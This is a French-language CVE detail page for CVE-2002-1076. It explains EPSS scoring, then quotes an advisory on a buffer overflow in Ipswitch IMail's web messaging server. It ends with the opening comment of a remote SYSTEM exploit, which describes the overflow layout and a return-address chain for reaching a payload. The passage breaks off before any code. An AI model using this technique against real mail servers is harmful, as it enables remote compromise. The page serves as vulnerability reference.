CVE-2002-1076 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

// source: https://www.securityfocus.com/bid/5323/info IMail is a commercial email server software package distributed and maintained by Ipswitch, Incorporated. IMail is available for Microsoft Operating Systems. The web messaging server is vulnerable to a buffer overflow. When the server receives a request for HTTP version 1.0, and the total request is 96 bytes or greater, a buffer overflow occurs. This could result in the execution of attacker-supplied instructions, and potentially allow an attacker to gain local access. ** Ipswitch has reported they are unable to reproduce this issue. In addition, Ipswitch has stated that the supplied, third party patch may in fact open additional vulnerabilities in the product. Ipswitch suggests that users do not apply the supplied patch. /* imailexp.c July 25th, 2002 IPSwitch IMail 7.11 remote 'SYSTEM' exploit there is an overflow in the GET parameter under the HTTP/1.0 specification in the Web Messaging daemon in all IMail versions to date <96 bytes><EBP><EIP> since none of the registers point to our payload on ret some trickery was necessary to hit our payload in a dynamic way, but nothing difficult.. execution flow: eip overran, ret (esp-4) -> land at pop ebx, ret10 (esp-18) -> call esp reach corrupted payload preserve esp -> sub esp -> jmp esp preserve esp, and jump to good payload recover esp -> execute shell let shit fly "In 1995, Ipswitch released IMail Server, the first commercial NT Mail Server.
